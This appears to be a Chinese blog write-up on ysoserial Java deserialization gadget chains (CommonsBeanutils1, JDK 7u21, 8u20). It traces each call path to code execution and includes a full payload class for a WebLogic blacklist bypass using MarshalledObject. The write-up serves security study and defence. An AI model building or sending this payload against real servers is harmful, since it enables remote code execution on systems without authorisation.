一、CommonsBeanutils1
完整调用链如下:
这条链的依赖如下 commons-beanutils:commons-beanutils:1.9.2,commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2
前半段的调用链和CC4一样:
PriorityQueue.readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> BeanComparator.compare(),所不同的点就是BeanComparator.compare()
继续到PropertyUtils.getProperty
PropertyUtilsBean.getInstance()是个静态方法,根据线程的上下文环境中的ClassLoader返回一个PropertyUtilsBean实例。这里的主要调用在getProperty()方法中
进入PropertyUtilsBean
/* PropertyUtilsBean.java
*/
protected static PropertyUtilsBean getInstance() {
return BeanUtilsBean.getInstance().getPropertyUtils();
}
// 参数bean为TemplatesImpl、参数name为"outputProperties"
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (getNestedProperty(bean, name));
}
public Object getNestedProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
* * * *
// Resolve nested references
while (resolver.hasNested(name)) {
* * * *
}
if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
} else if (resolver.isMapped(name)) {
* * * *
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
}
public Object getSimpleProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
* * * *
// Retrieve the property getter method for the specified property
PropertyDescriptor descriptor =
getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
// 利用反射机制根据name从bean中读取对应属性的读方法,这里就是TemplatesImpl.outputProperties()方法
Method readMethod = getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}
// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return (value);
}
private Object invokeMethod(
Method method,
Object bean,
Object[] values)
throws
IllegalAccessException,
InvocationTargetException {
if(bean == null) {
throw new IllegalArgumentException("No bean specified " +
"- this should have been checked before reaching this method");
}
try {
// 在这里调用TemplatesImpl.outputProperties()方法
return method.invoke(bean, values);
} catch (NullPointerException cause) {
* * * *
}
}
最后调用链在这里又回到了TemplatesImpl CC3和4的后半段
TemplatesImpl.newTransformer()->getTransletInstance()->Class.newInstance()->---Method.invoke()->Runtime.exec()
二、7u21
AnnotationInvocationHandler、TemplatesImpl、LinkedHashSet好熟悉.....就贴个调用链吧...
话说忍酱说的真没错,全类名太难背了,我对TemplatesImpl我很熟,但是看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 我还以为是apache哪个jar包呢233333
TemplatesImpl
这里涉及到一个关键点TemplatesImpl,CC2中也有提到,当时只是只是粗略的看了一下,这里涉及到javassit,我们利用它生成一个类的byte[] ,然后再回头看TemplatesImpl的newTransformer方法
newTransformer中调用了getTransletInstance
我们再看defineTransletClasses方法
通过loader.defineClass的方式将bytecodes还原为Class,接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class。此时static语句块成功执行。
恶意类大概长这样
分析完后半段,我们来看前半段
LinkedHashSet的readObject ——> LinkedHashMap.put ——> k.equals(这里的k是我们通过动态代理生成的Proxy对象,而Proxy对象的任何方法本质都是再调用InvokcationHandler对象中被重写的invoke方法。因为生成Proxy对象时传入的参数是InvokcationHandler的子类AnnotationInvocationHandler,所以自然要调用AnnotationInvocationHandler.invoke()方法) ——> AnnotationInvocationHandler.invoke()
接下来会调用equalsImpl()方法,传入的var3参数是封装了我们恶意代码的TemplatesImpl对象
var1是传递进来的TemplatesImpl对象,然后就是接上上面的TemplatesImpl的newTransformer。
最后有个注意点,key.equals(k)怎么满足,需要计算出key 也就是恶意TemplatesImpl对象的hash值 即可
weblogic 最近出的那个7u21的绕过
weblogic在处理jdk 7u21这条反序列化gadgets中,为了平衡拦截的效果与不影响业务,选择拦截com.sun.org.apache.xalan.internal.xsltc.trax这个类 ,原本的7u21逻辑中,从AnnotationInvocationHandler到com.sun.org.apache.xalan.internal.xsltc.trax是通过Templates类的newTransformer方法,会将属性_bytecodes,通过调用java的defineClass去生成一个类,并将其实例化,也就是调用静态代码块的代码。而AnnotationInvocationHandler,创建一个Templates的jdk动态代理,在hashmap出现哈希碰撞的时候,在hashmap中会调用AnnotationInvocationHandler的equal方法,equal方法会调用自身的equalImpl方法 ,equalImple里面的var1 就是黑名单里的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
现在的poc使用了java.rmi.MarshalledObject替换TemplatesImpl,前面的链还是一样的,走到sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl,var1变为MarshalledObject
这里注意一点 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl会返回invoke的method方法,也就会调用MarshalledObject 的get方法
我们来看java.rmi.MarshalledObject#get
将objBytes属性作为反序列化的流,从中解析对象。我们知道,weblogic中,必须要调用FilteredObjectInputStream,才可以在反序列化过程中使用反序列化的黑名单。如果类中私自调用ObjectInputStream,则不会应用weblogic反序列化的黑名单。
完整poc如下,参考宽字节,我自己写的虽然可以用,但是有点复杂
package ysoserial.payloads;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;
/**
* @program: ysoserial
* @description: jdk 7u21 gadgets variant
* @author: potats0
* @create: 2021-04-19 16:55
**/
public class Jdk7u21variant implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates);
MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set;
}
public static void main(String[] args) throws Exception {
PayloadRunner.run(Jdk7u21variant.class, args);
}
}
三、8u20
在JDK7u21中反序列化漏洞修补方式是在AnnotationInvocationHandler类对type属性做了校验,原来的payload就会执行失败,在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
AnnotationType.getInstance方法里对this.type类型有判断,需要是annotation类型,原payload里面是Templates类型,所以这里会抛出错误。可以看到在readObject方法里面,是先执行var1.defaultReadObject()还原了对象,然后在进行验证,不符合类型则抛出异常。漏洞作者找到java.beans.beancontext.BeanContextSupport类对这里进行了绕过
直接贴参考文章吧,写的超好 https://www.anquanke.com/post/id/207762
四、参考链接
https://l1nf3ng.github.io/2019/11/05/Ysoserial%E5%B7%A5%E5%85%B7%E8%A7%A3%E8%AF%BB%EF%BC%88%E4%BA%94%EF%BC%89/
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/
https://www.anquanke.com/post/id/207762
https://paper.seebug.org/1224/
原文始发于微信公众号(赛博少女):Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论